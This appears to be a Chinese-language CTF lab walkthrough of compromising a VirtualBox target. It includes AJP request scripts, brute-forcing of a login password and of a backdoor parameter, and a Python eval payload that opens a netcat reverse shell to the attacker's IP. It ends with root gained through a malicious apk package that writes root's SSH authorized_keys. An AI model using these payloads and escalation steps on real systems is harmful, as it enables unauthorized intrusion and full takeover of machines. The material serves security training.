端口扫描

```
root@kali2 [~] ➜  nmap -sS -p- --min-rate="5000" 192.168.31.210


[14:08:58]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-16 14:09 CST
Nmap scan report for 192.168.31.210
Host is up (0.00066s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8010/tcp open  xmpp
MAC Address: 08:00:27:55:0A:DB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.28 seconds
```

扫描发现开放22 80 8010端口，web端啥也没有，8010端口没搜集到相关信息，猜测是某个服务默认端口被改了。于是手动测试。

AJP ForwardRequest

```
root@kali2 [/tmp] ➜  nc 192.168.31.210 8010


aaa
4ajpy#



root@kali2 [/tmp] ➜  nc 192.168.31.210 8010


123
4ajpy#
```

不管输入什么都返回这个东西，搜索AJP

```
AJP 是一种线协议。它是 HTTP 协议的优化版本，允许独立的 web 服务器如 Apache 与 Tomcat 通信。历史上，Apache 在提供静态内容方面比 Tomcat 快得多。这个想法是让 Apache 在可能的情况下提供静态内容，但将请求代理到 Tomcat 以获取与 Tomcat 相关的内容.
```

搜索得知有个Tomcat的LFI漏洞，打POC失败，该题可能魔改了。

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py

https://github.com/argherna/ajp4py/blob/master/ajp4py/ajp_types.py

https://httpd.apache.org/docs/2.4/ja/mod/mod_proxy_ajp.html

不过脚本还是有用的，可以学习一下如何构造请求包,大概就是加一个魔数，然后一些header字段都用特殊的字符代替，以及字符串的格式也有一些要求。

结合了几个poc和官方文档以及GPT，写出来一个发送请求包的脚本

```
import socket
import struct

magic = b"\x12\x34"

def make_string(s):
    if s is None:
        return b'\xff\xff'
    b = s.encode('utf-8')
    return struct.pack('>H', len(b)) + b + b'\x00'

def build_forward_request(method, uri, query=""):
    data=b"\x02" #prefix
    data+=b"\x02" #GET
    data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) +
make_string("localhost")
    data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
    data += struct.pack(">H", 2)
    data += struct.pack(">H", 0xA001) + make_string("text/html")
    data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
    if query:
        data += b"\x05" + make_string(query)
    data += b"\xFF"
    return data

def forwardrequest(host, port, uri, query):
    sock = socket.create_connection((host, port))
    req = build_forward_request(2, uri, query)
    sock.sendall(magic + struct.pack(">H", len(req)) + req)
    data = b""
    try:
        while True:
            header = sock.recv(4)
            if len(header) < 4 or not header.startswith(magic): break
            length = struct.unpack(">H", header[2:])[0]
            data += sock.recv(length)
    finally:
        sock.close()
    return data

def extract_text(payload):
    try:
        return payload.split(b"\x03")[1][2:].split(b"\x00")
[0].decode(errors="ignore")
    except:
        return payload.decode(errors="ignore")

def main():
    host = "192.168.31.210"
    port = 8010
    path="/"
    query=""
    resp = forwardrequest(host, port, path, query)
    print("[+]response:", extract_text(resp))

if __name__ == "__main__":
    main()
```

```
root@kali2 [/tmp] ➜  python req.py

[+]response: Hello from AJP!
```

尝试扫一下目录

```
import socket
import struct
```

```python
magic = b"\x12\x34"

def make_string(s):
    if s is None:
        return b'\xff\xff'
    b = s.encode('utf-8')
    return struct.pack('>H', len(b)) + b + b'\x00'

def build_forward_request(method, uri, query=""):
    data = b"\x02"  # prefix
    data += b"\x02"  # GET
    data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) +
make_string("localhost")
    data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
    data += struct.pack(">H", 2)
    data += struct.pack(">H", 0xA001) + make_string("text/html")
    data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
    if query:
        data += b"\x05" + make_string(query)
    data += b"\xFF"
    return data

def forwardrequest(host, port, uri, query):
    sock = socket.create_connection((host, port))
    req = build_forward_request(2, uri, query)
    sock.sendall(magic + struct.pack(">H", len(req)) + req)
    data = b""
    try:
        while True:
            header = sock.recv(4)
            if len(header) < 4 or not header.startswith(magic):
                break
            length = struct.unpack(">H", header[2:])[0]
            data += sock.recv(length)
    finally:
        sock.close()
    return data

def extract_text(payload):
    try:
        return payload.split(b"\x03")[1][2:].split(b"\x00")
[0].decode(errors="ignore")
    except:
        return payload.decode(errors="ignore")

def main():
    host = "192.168.31.210"
    port = 8010
    wordlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"

    with open(wordlist, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            path = "/" + line.strip()
            resp = forwardrequest(host, port, path, "")
            if b"\x00\xc8" in resp:  # 0x00c8 = 200
                print(f"[200] {path}")
                print(extract_text(resp))
                print("-" * 50)

if __name__ == "__main__":
    main()
```

```
root@kali2 [/tmp] ➜  python bp.py

[200] /
Hello from AJP!
--------------------------------------------------
[200] /login
No password parameter
--------------------------------------------------
[200] /test
Test success
--------------------------------------------------
[200] /backdoor
Not here!
```

扫到一个login目录和backdoor，login显示没有提供password参数，backdoor显示 `Not here` 。于是尝试爆破一下密码

```
    path="/login"
    query="password=123456"
```

当请求密码为123456的时候显示

```
root@kali2 [/tmp] ➜  python req.py


[+]response: Password length is 5
```

密码5位，可以爆破

```python
import socket
import struct
import itertools
import string
import time

magic = b"\x12\x34"
visible_chars = string.printable.strip()  # 可见字符（不含空格换行）

def make_string(s):
    if s is None:
        return b'\xff\xff'
    b = s.encode('utf-8')
    return struct.pack('>H', len(b)) + b + b'\x00'

def build_forward_request(method, uri, query=""):
    data = b"\x02"  # prefix
    data += b"\x02"  # GET
    data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) +
make_string("localhost")
    data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
    data += struct.pack(">H", 2)
    data += struct.pack(">H", 0xA001) + make_string("text/html")
    data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
    if query:
        data += b"\x05" + make_string(query)
    data += b"\xFF"
    return data
```

```python
def forwardrequest(host, port, uri, query):
    try:
        sock = socket.create_connection((host, port), timeout=3)
        req = build_forward_request(2, uri, query)
        sock.sendall(magic + struct.pack(">H", len(req)) + req)
        data = b""
        while True:
            header = sock.recv(4)
            if len(header) < 4 or not header.startswith(magic):
                break
            length = struct.unpack(">H", header[2:])[0]
            data += sock.recv(length)
        sock.close()
        return data
    except Exception:
        return b""

def extract_text(payload):
    try:
        return payload.split(b"\x03")[1][2:].split(b"\x00")
[0].decode(errors="ignore")
    except:
        return payload.decode(errors="ignore")

def main():
    host = "192.168.31.210"
    port = 8010
    path = "/login"
    wordlist = "/tmp/password"

    with open(wordlist, "r", encoding="utf-8", errors="ignore") as f:
        for idx, line in enumerate(f):
            password = line.strip()
            query = f"password={password}"
            resp = forwardrequest(host, port, path, query)
            text = extract_text(resp)

            if text and "length" not in text:
                print(f"[+] 可能成功的密码: {password}")
                print("[+] 响应内容:", text)
                break
            if idx % 100 == 0:
                print(f"[*] 已尝试 {idx} 个密码... 当前: {password}")

if __name__ == "__main__":
    main()
```

```
[+] 可能成功的密码: !@#$%
[+] 响应内容: /backdoooooooooooooooooor
```

爆破出来密码是 `!@#$%` ，并且给了后门路径 `/backdoooooooooooooooooor`

不过需要FUZZ参数

```
import socket
import struct

magic = b"\x12\x34"

def make_string(s):
    if s is None:
        return b'\xff\xff'
    b = s.encode('utf-8')
    return struct.pack('>H', len(b)) + b + b'\x00'

def build_forward_request(method, uri, query=""):
    data = b"\x02"  # prefix
    data += b"\x02"  # GET
    data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) +
make_string("localhost")
    data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
    data += struct.pack(">H", 2)
    data += struct.pack(">H", 0xA001) + make_string("text/html")
    data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
    if query:
        data += b"\x05" + make_string(query)
    data += b"\xFF"
    return data

def forwardrequest(host, port, uri, query):
    sock = socket.create_connection((host, port))
    req = build_forward_request(2, uri, query)
    sock.sendall(magic + struct.pack(">H", len(req)) + req)
    data = b""
    try:
        while True:
            header = sock.recv(4)
            if len(header) < 4 or not header.startswith(magic):
                break
            length = struct.unpack(">H", header[2:])[0]
            data += sock.recv(length)
    finally:
        sock.close()
    return data

def extract_text(payload):
    try:
        return payload.split(b"\x03")[1][2:].split(b"\x00")
[0].decode(errors="ignore")
    except:
        return payload.decode(errors="ignore")

def fuzz_with_dict(host, port, path, dict_path):
    with open(dict_path, 'r') as f:
        for line in f:
            param = line.strip()
            # Replace FUZZ with param=value
            query = f"{param}=id"
            print(f"[*] Fuzzing with: {query}")
            resp = forwardrequest(host, port, path, query)
            response_text = extract_text(resp)
            if response_text:
                print(f"[+] Found valid response: {query}")
                print("[+] Response:", response_text)
                break
```

```
def main():
    host = "192.168.31.210"
    port = 8010
    path = "/backdoooooooooooooooooor"
    dict_path = "/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt"

    # Start fuzzing with the dictionary
    fuzz_with_dict(host, port, path, dict_path)

if __name__ == "__main__":
    main()
```

```
[*] Fuzzing with: closenotice=id
[*] Fuzzing with: cls=id
[*] Fuzzing with: cluster=id
[*] Fuzzing with: cm=id
[*] Fuzzing with: cmd=id
[+] Found valid response: cmd=id
[+] Response: <built-in function id>
```

拿到参数cmd，弹个shell

```
    path="/backdoooooooooooooooooor"
    query="cmd=__import__('os').popen('nc 192.168.31.34 4567 -e sh').read()"
```

拿到shell写个公钥维持一下权限

```
root@kali2 [~] ➜  ssh -i id_rsa welcome@192.168.31.210

localhost:~$ ls
server.py  user.txt
localhost:~$ cat user.txt
flag{5a80870310e5a3bc10c00ef6d20a3cac}
```

5000端口blockchain

```
localhost:/opt/server$ netstat -tulnp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
PID/Program name    
tcp        0      0 0.0.0.0:8010            0.0.0.0:*               LISTEN      
 2889/python3
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -
tcp        0      0 :::22                   :::*                    LISTEN      -
tcp        0      0 :::80                   :::*                    LISTEN      -
```

本地开了个5000端口

在opt下找到源码

```python
import socket
import threading
import json
import hashlib

FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}"

def fake_sign(data):
    return hashlib.sha256(data.encode()).hexdigest()

blockchain = [
    {
        "index": 1,
        "sender": "system",
        "recipient": "alice",
        "amount": 100,
        "signature": fake_sign("system->alice:100"),
    },
    {
        "index": 2,
        "sender": "alice",
        "recipient": "bob",
        "amount": 50,
        "signature": fake_sign("alice->bob:50"),
    },
    {
        "index": 3,
        "sender": "admin",
        "recipient": "you",
        "amount": 999,
        "signature": fake_sign("admin->you:999"),
        "note": f"congrats! here is your flag: {FLAG}"
    }
]

hints = [
    "[Hint 1] Use 'view' to inspect part of the blockchain.",
    "[Hint 2] The signature is just sha256(sender->recipient:amount).",
    "[Hint 3] Try forging a valid signature with this knowledge.",
    "[Hint 4] What if admin sent you 999 coins?"
]

def handle_client(conn, addr):
    conn.sendall(b"Welcome to SignatureChain CTF over TCP!\nType 'view', 'submit',
'hint', or 'exit'\n> ")
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            cmd = data.decode().strip()

            if cmd == "exit":
                conn.sendall(b"Goodbye!\n")
                break

            elif cmd == "view":
                partial_chain = json.dumps(blockchain[:2], indent=2)
                conn.sendall(partial_chain.encode() + b"\n> ")
            elif cmd == "hint":
                for h in hints:
                    conn.sendall(h.encode() + b"\n")
                conn.sendall(b"> ")

            elif cmd == "submit":
                conn.sendall(b"Paste your JSON chain (end with EOF or Ctrl+D):\n")
                user_input = b""
                while True:
                    part = conn.recv(4096)
                    if not part:
                        break
                    user_input += part
                    if b"\x04" in part:  # Ctrl+D (EOF)
                        break

                try:
                    user_input = user_input.replace(b"\x04", b"")
                    user_chain = json.loads(user_input.decode())
                    for block in user_chain:
                        expected = fake_sign(f"{block['sender']}->
{block['recipient']}:{block['amount']}")
                        if block["signature"] != expected:
                            conn.sendall(f"Invalid signature in block
{block['index']}\n> ".encode())
                            break
                    else:
                        if any("flag" in str(b.get("note", "")) for b in user_chain):
                            conn.sendall(f"Valid chain! Here is your flag:
{FLAG}\n".encode())
                        else:
                            conn.sendall(b"Valid chain, but no flag block found.\n")
                    conn.sendall(b"> ")
                except Exception as e:
                    conn.sendall(f"JSON parse error: {str(e)}\n> ".encode())

            else:
                conn.sendall(b"Unknown command. Try 'view', 'hint', 'submit', or
'exit'\n> ")
```

```
        except Exception:
            break
    conn.close()

def start_server(host="0.0.0.0", port=5000):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[+] Listening on {host}:{port}")
    while True:
        client, addr = server.accept()
        threading.Thread(target=handle_client, args=(client, addr)).start()

if __name__ == "__main__":
    start_server()
```

好像bug了，源码可以读，可以直接看到superuser的密码

```
superuser/f124cf868d5e3fa5a7de39f80a2f9a0e
```

直接登到superuser用户

```
~ $ sudo -l
User superuser may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/apk
```

apk+abuild

```
~ $ sudo -l
User superuser may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/apk
```

给了apk的sudo权限，说实话看了半天。

构造一个恶意的apk安装包然后任意写文件即可，我这里写的是root的公钥

先创建一个签名密钥

```
abuild-keygen -a
```

创建 APKBUILD 文件

```
mkdir -p /tmp/evilpkg && cd /tmp/evilpkg
cat > APKBUILD <<EOF
pkgname=evil
pkgver=1.0
pkgrel=1
pkgdesc="Evil root shell"
url="http://example.com"
arch="all"
license="MIT"
source="evil.sh"
options="!check !suidcheck"  # 关键: 禁用 SUID 检查

package() {
    install -Dm755 "\$srcdir/evil.sh" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
```

然后把公钥写道这个evil.sh,不做展示。

然后构建apk

```
mkdir ~/packages/tmp
abuild checksum && abuild -r
```

会生成安装包

```
/home/superuser/packages/tmp/evilpkg/evil-1.0-r1.apk
```

apk安装一下写入公钥

```
/tmp/evilpkg $ sudo /sbin/apk add --allow-untrusted --root /
~/packages/tmp/x86_64/evil-1.0-r1.apk
```

```
root@kali2 [/tmp] ➜  ssh -i id_rsa root@192.168.31.143

Warning: Identity file id_rsa not accessible: No such file or directory.

localhost:~# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20
(dialout),26(tape),27(video)
```